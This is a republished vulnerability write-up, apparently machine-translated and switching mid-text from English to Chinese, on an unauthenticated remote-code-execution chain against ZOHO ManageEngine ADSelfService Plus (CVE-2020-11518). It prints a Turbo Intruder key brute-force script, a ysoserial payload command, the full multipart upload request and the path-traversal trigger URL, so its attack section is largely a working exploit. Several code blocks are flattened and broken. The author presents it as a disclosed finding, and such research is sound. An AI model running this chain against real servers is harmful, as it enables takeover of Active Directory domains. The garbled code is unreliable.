Shulou(Shulou.com)06/01 Report--

Today, I will talk to you about how to use ZOHO ADSelfService Plus loopholes to achieve domain-controlled active directory intrusion, which may not be well understood by many people. in order to make you understand better, the editor has summarized the following contents for you. I hope you can get something according to this article.

Find the target.

When I used Aquatone for pre-detection, I found that in two different public test projects, two completely different sub-domain sites have the following same ZOHO ManageEngine ADSelfService Plus login interface:

ZOHO ManageEngine ADSelfService Plus is mostly used in large and medium-sized networks of organizations to change the account password that manages their server active Directory (Active Directory).

Since ZOHO ManageEngine ADSelfService Plus is related to the active Directory (Active Directory) on the organizational domain control server, I think its vulnerability discovery may affect many companies and is worth a little more research.

Source code analysis

Fortunately, a 30-day trial version of ZOHO ManageEngine ADSelfService Plus is available for download, so I decided to install it locally for some testing, specifically for some analysis at the source level.

ADSelfService Plus is based on JAVA architecture, so I use Bytecode Viewer to edit and test the downloaded application source code:

From this, I made an in-depth and detailed analysis of ADSelfService Plus, involving functional applications, earlier bug fixes and related code. After that, I decided to build an application endpoint keyword dictionary to enumerate it.

Vulnerability Discovery Java deserialization vulnerability

During my enumeration test, I saw the following CewolfServlet-related code in a web.xml file:

CewolfServlet/cewolf/*

When I looked it up on Google, I found that there was an earlier RCE vulnerability in the cewolf server in another series of ZOHO products, which lies in the path traversal of img parameters, so let's give it a try here.

On my native ADSelfService Plus system, I proved that this vulnerability also exists here by constructing an evil.file file and then successfully browsing http://localhost:8888/cewolf/?img=/../../../path/to/evil.file.

That is to say, this unauthorized RCE vulnerability is directly available, but only if an arbitrary file upload vulnerability is found in the target ADSelfService Plus system. Only in this way can we upload our evil.file execution access.

Arbitrary file upload vulnerability

In order to expand the test area, I continue to configure some extensible functions of the ADSelfService Plus system on my machine, which involves the configuration of the local domain controller (Domain Controller) and active directory (Active Directory) domain.

After several hours of twitching, downloading ISO, dividing disk space, building virtual machines, and temporary learning and deployment of domain controllers, the following ADSelfService Plus login interface successfully appeared:

Since this is a test system with administrative authority, I can observe ADSelfService Plus-related functional applications and API endpoint requests. After that, I focused on its different upload functions, and finally, I found an upload point that supports smart card certificate configuration, which requests the following paths in POST:

/ LogonCustomization.do?form=smartCard&operation=Add

After analysis, I found that the upload point directly stores the uploaded smart card certificate without changing its name, so, combined with the previous deserialization path traversing RCE, I think we can start here.

The mechanism of the upload point is as follows:

1. The administrator after login can upload the smart card certificate through the following path:

/ LogonCustomization.do?form=smartCard&operation=Add

2. Then the authentication RestAPI call on the server side of the background is triggered, the request for handshake of the key is completed, and a HANDSHAKE_KEY is generated on the server side:

/ RestAPI/WC/SmartCard?HANDSHAKE_KEY=secret

3. Then the following API will be called to verify the HANDSHAKE_KEY and generate the status of success (SUCCESS) or failure (FAILED):

/ servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=secret

4. If the verification is successful, the uploaded certificate will be stored in the following path:

C:\ ManageEngine\ ADSelfService Plus\ bin

Interestingly, the / RestAPI in step 2 above is publicly accessible, so any valid HANDSHAKE_KEY can bypass user authentication and store the files you want to upload to the server. Moreover, the / servlet/HSKeyAuthenticator involved in step 3 is also publicly accessible, based on which unauthorized users can judge the validity of a key.

With this analysis, I went back to the ADSelfService Plus source code again.

Enumerate check keys

Through the grep command search, I found two interesting Java class files. Through my native PostgreSQL database, you can see that it contains an API server that can be used, as well as related key verification information:

A Java class file is HSKeyAuthenticator.class in com.manageengine.ads.fw.servlet:

Public void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {try {String message = "FAILED"; RestAPIKey.getInstance (); String apiKey = RestAPIKey.getKey (); String handShakeKey = request.getParameter ("HANDSHAKE_KEY"); if (handShakeKey.equals (apiKey)) {message = "SUCCESS";} PrintWriter out = response.getWriter () Response.setContentType ("text/html"); out.println (message); out.close ();} catch (Exception var7) {HSKeyAuthenticator.out.log (Level.INFO, ", var7);}}

Another Java class file is RestAPIKey.class in the com.manageengine.ads.fw.api package:

RestAPIKey.class: public static void generateKey () {Long cT = Long.valueOf (System.currentTimeMillis ()); key = cT.toString (); generatedTime = cT;} public static String getKey () {Long cT = Long.valueOf (System.currentTimeMillis ()); if ((key = = null) | (generatedTime.longValue () + 120000L)

< cT.longValue())) { generateKey(); } return key; } 从上述代码可以看出，服务端对校验密钥的当前时间是以毫秒计算的，大概有2分钟的一个校验窗口期，也就是说，对攻击者想要枚举的密钥来说，任意时候都有120秒*1000*毫秒=120000种可能。 换句话说，如果我持续在2分钟内，每秒生成至少1000个请求，那么在身份验证密钥过期并重新生成时，就有可能成功命中有效的密钥， 这看似是一项复杂的网络级攻击，但成功的攻击测试没有局限性，即使不能百分百成功，但只要时间足够，就有可能成功。 接着，我准备用Burp的Intruder来生成上述思路中的大量短时请求，寄希望能成功枚举命中有效密钥： 但是，上述Intruder生成的请求字典结合我的自动脚本，针对在线目标系统跑起来的时候，就没那么想当然的了。几小时的反复运行和各种配置更改后，捣鼓了快一夜也没啥发现，对这种方法，我都怀疑自己了。 而且，由于不确定在线目标系统的运行时区，当时我都有点快放弃了。但是当我再次用各种偏移方式运行GET请求后发现，Java的当前时间计算函数currentTimeMillis返回的是标准的UTC时间，所以时区时间的担心就没必要了。 最终，经过反复试错，我用以下Turbo Intruder脚本，按每秒请求数（rps）计算，取当前时间戳前后rps/2的毫秒数进行校验，这样可以尽量扩大覆盖范围并减少误差： import timedef queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=20, requestsPerConnection=200, pipeline=True, timeout=2, engine=Engine.THREADED ) engine.start() rps = 400 # this is about the number of requests per second I could generate from my test server, so not quite the ideal 1000 per second while True: now = int(round(time.time()*1000)) for i in range(now+(rps/2), now-(rps/2), -1): engine.queue(target.req, str(i))def handleResponse(req, interesting): if 'SUCCESS' in req.response: table.add(req) 接着，把HTTP请求头存储为以下base.txt，配合Turbo Intruder发起枚举： POST /servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=%s HTTP/1.1Host: localhost:8888Content-Length: 0Connection: keep-alive. 接下来需要耐心即可： 哦哇，愿望成真了，竟然可以成功枚举出有效的验证密钥，即使吞吐量远远低于1000rps，只有可怜的56rps，最终也成功了！ 漏洞利用 现在综合起来，最终的漏洞利用代码也就简单了。我用反序列化框架ysoserial生成了很多Payload，发现以下可行的Payload： java -jar ysoserial-master-SNAPSHOT.jar MozillaRhino1 "ping ping-rce-MozillaRhino1." 然后，用Burp Intruder的自动脚本去枚举测试校验密钥，再结合ysoserial生成的上述Payload，去上传一个名为pieter.evil的恶意文件，以此测试上传时的校验接口RestAPI，最终的exploit如下： POST /RestAPI/WC/SmartCard?mTCall=addSmartCardConfig&PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=1585552472158 HTTP/1.1Host: localhost:888Content-Length: 2464Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxkQ2P09dvbuV1Pi4Connection: close------WebKitFormBoundaryxkQ2P09dvbuV1Pi4Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="pieter.evil"Content-Type: text/xml------WebKitFormBoundaryxkQ2P09dvbuV1Pi4Content-Disposition: form-data; name="CERTIFICATE_NAME"blah------WebKitFormBoundaryxkQ2P09dvbuV1Pi4Content-Disposition: form-data; name="SMARTCARD_CONFIG"{"SMARTCARD_PRODUCT_LIST":"4"}------WebKitFormBoundaryxkQ2P09dvbuV1Pi4-- 一切就绪，只欠东风。接下来，我针对路径/cewolf/?img=/../../../bin/pieter.evil发起了GET请求，就返回了美妙的成功请求响应消息，RCE成功！ 漏洞后果 通过校验密钥枚举bug，结合Java反序列化路径遍历，最终，我成功在ZOHO ManageEngine ADSelfService Plus相关的活动目录管理服务器中实现了RCE，而且，我认为攻击者可以利用域控制器的链接劫持域名账户或在活动目录域中创建新用户，实现更广泛的内网入侵，如通过公共VPN服务的深入渗透。 我通过测试发现了两家众测项目公司都存在该漏洞，上报漏洞后，一家评估为危急，一家评估为高危。与此同时，我也把该漏洞报送给了漏洞涉及厂商ZOHO公司，被认定为0-day，并被分配了CVE-2020-11518的漏洞编号。

After reading the above, do you have any further understanding of how to use ZOHO ADSelfService Plus vulnerabilities to achieve domain-controlled active directory intrusion? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.